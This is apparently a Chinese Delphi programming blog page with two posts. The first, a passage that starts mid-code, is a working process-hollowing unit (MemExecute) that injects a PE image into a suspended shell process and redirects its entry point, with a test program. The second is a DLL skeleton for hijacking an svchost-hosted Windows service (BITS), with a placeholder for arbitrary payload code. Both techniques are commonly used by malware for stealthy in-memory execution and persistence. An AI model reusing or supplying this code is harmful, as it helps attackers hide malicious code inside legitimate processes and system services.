result := INVALID_HANDLE_VALUE;
s := PrepareShellExe(CmdParam, peH.OptionalHeader.ImageBase, ImageSize);
if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then
begin
p := nil;
if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致
begin
p := Pointer(Addr);
VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old);
end
else if IsNT then // 98 下失败
begin
if UnloadShell(result, Addr) then // 卸载外壳进程占有内存
// 重新按目标进程加载基址和大小分配内存
p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向
begin
// 按任意基址分配内存
p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if p <> nil then
DoRelocation(peH, Ptr, p); // 重定向
end;
end;
if p <> nil then
begin
WriteProcessMemory(Result, Pointer(ctx.Ebx+8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址
peH.OptionalHeader.ImageBase := Cardinal(p);
if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程
begin
ctx.ContextFlags := CONTEXT_FULL;
if Cardinal(p) = Addr then
ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址
else
ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(Thrd, ctx); // 更新运行环境
ResumeThread(Thrd); // 执行
CloseHandle(Thrd);
end
else begin // 加载失败,杀掉外壳进程
TerminateProcess(Result, 0);
CloseHandle(Thrd);
CloseHandle(Result);
Result := INVALID_HANDLE_VALUE;
end;
end
else begin // 加载失败,杀掉外壳进程
TerminateProcess(Result, 0);
CloseHandle(Thrd);
CloseHandle(Result);
Result := INVALID_HANDLE_VALUE;
end;
end;
end;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;
var
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
Ptr: Pointer;
peSz: Cardinal;
begin
result := INVALID_HANDLE_VALUE;
if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then
begin
result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId);
VirtualFree(Ptr, peSz, MEM_DECOMMIT);
//VirtualFree(Ptr, 0, MEM_RELEASE);
end;
end;

initialization
MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx');

end.



写了一个简单程序测试通过：）


program Test;

//{$APPTYPE CONSOLE}

uses
SysUtils,
Classes,
PEUnit in 'PEUnit.pas';

var
ABuffer: array of byte; /> Stream: TFileStream;
ProcessId: Cardinal;
begin
Stream:=TFileStream.Create('Target.exe', fmOpenRead);
try
SetLength(ABuffer, Stream.Size);
Stream.ReadBuffer(ABuffer[0], Stream.Size);
MemExecute(ABuffer[0], Stream.Size, '', ProcessId);
finally
Stream.Free;
end;
end.


阅读全文


Delphi 编写一个Svchost.exe调用的DLL模块 2/12

这个模块的代码在网上流传的是用C写的,这里用Delphi写的一个DLL,可以自己扩充各种功能.


{
文件名: ServiceDll.dpr
概述: 替换由svchost.exe启动的某个系统服务,具体服务由全局变量 ServiceName 决定.

经测试,生成的DLL文件运行完全正常.
测试环境: Windows 2003 Server + Delphi 7.0

代码只实现了一个框架,没有任何实际动作,仅作为学习用.如果你使用本代码
进行了任何扩充和修改,希望您能将代码寄一份给我.

日期: 2005-04-01
作者: yanxizhen yanxizhen#163.com
}

library ServiceDll;

uses
SysUtils,
Classes,
winsvc,
System,
Windows;

{ 定义全局变量 }
var
// 服务控制信息句柄
SvcStatsHandle : SERVICE_STATUS_HANDLE;
// 存储服务状态
dwCurrState : DWORD;
// 服务名称
ServiceName : PChar = 'BITS';

{ 调试函数,用于输出调试文本 }
procedure OutPutText(CH:PChar);
var
FileHandle: TextFile;
F : Integer;
Begin
try
if not FileExists('zztestdll.txt') then
F := FileCreate('zztestdll.txt');
finally
if F > 0 Then FileClose(F);
end;

AssignFile(FileHandle,'zztestdll.txt');
Append(FileHandle);
Writeln(FileHandle,CH);
Flush(FileHandle);
CloseFile(FileHandle);
END;

{ dll入口和出口处理函数 }
procedure DLLEntryPoint(dwReason : DWord);
begin

case dwReason of
DLL_PROCESS_ATTACH:
;
DLL_PROCESS_DETACH:
;
DLL_THREAD_ATTACH:
;
DLL_THREAD_DETACH:
;
end;
end;

{ 与SCM管理器通话 }
function TellSCM(dwState : DWORD ; dwExitCode : DWORD; dwProgress : DWORD ): LongBool;
var
srvStatus : service_status;
BEGIN
srvStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS;
dwCurrState := dwState;
srvStatus.dwCurrentState := dwState;
srvStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE or SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode := dwExitCode;
srvStatus.dwServiceSpecificExitCode := 0;
srvStatus.dwCheckPoint := dwProgress;
srvStatus.dwWaitHint := 3000;
Result := SetServiceStatus( SvcStatsHandle, srvStatus );
END;

{ Service 控制函数 }
PROCEDURE servicehandler(fdwcontrol:integer); STDCALL;
BEGIN

CASE fdwcontrol OF

SERVICE_CONTROL_STOP:
BEGIN
TellSCM( SERVICE_STOP_PENDING, 0, 1 );
Sleep(10);
TellSCM( SERVICE_STOPPED, 0, 0 );
END;

SERVICE_CONTROL_PAUSE:
BEGIN
TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
TellSCM( SERVICE_PAUSED, 0, 0 );
END;

SERVICE_CONTROL_CONTINUE:
BEGIN
TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );
END;

SERVICE_CONTROL_INTERROGATE:
TellSCM( dwCurrState, 0, 0 );

SERVICE_CONTROL_SHUTDOWN:
TellSCM( SERVICE_STOPPED, 0, 0 );

END;

END;

{ service main }
procedure ServiceMain(argc : Integer; VAR argv : pchar ); StdCall;
begin
{ try
begin
if ParamStr(1) <> '' then
svcname := strNew(PChar(ParamStr(1)))
else
begin
svcname := strAlloc(10 * Sizeof(Char));
svcname := 'none';
end;
OutPutText(svcname);
end
finally
strdispose(svcname);
end;
}

// 注册控制函数
SvcStatsHandle := RegisterServiceCtrlHandler(ServiceName, @servicehandler);
IF (SvcStatsHandle = 0) THEN
BEGIN
OutPutText('Error in RegisterServiceCtrlHandler');
exit;
END
else
begin
FreeConsole();
end;

// 启动服务
TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );
OutPutText('Service is Running');

// 这里可以执行我们真正要作的代码
while ((dwCurrState <> SERVICE_STOP_PENDING) and (dwCurrState <> SERVICE_STOPPED)) do
begin
sleep(1000);
end;
OutPutText('Service Exit');
end;

// 导出函数列表
exports
ServiceMain;

{ dll入口点 }
begin
DllProc := @DLLEntryPoint;
end.


阅读全文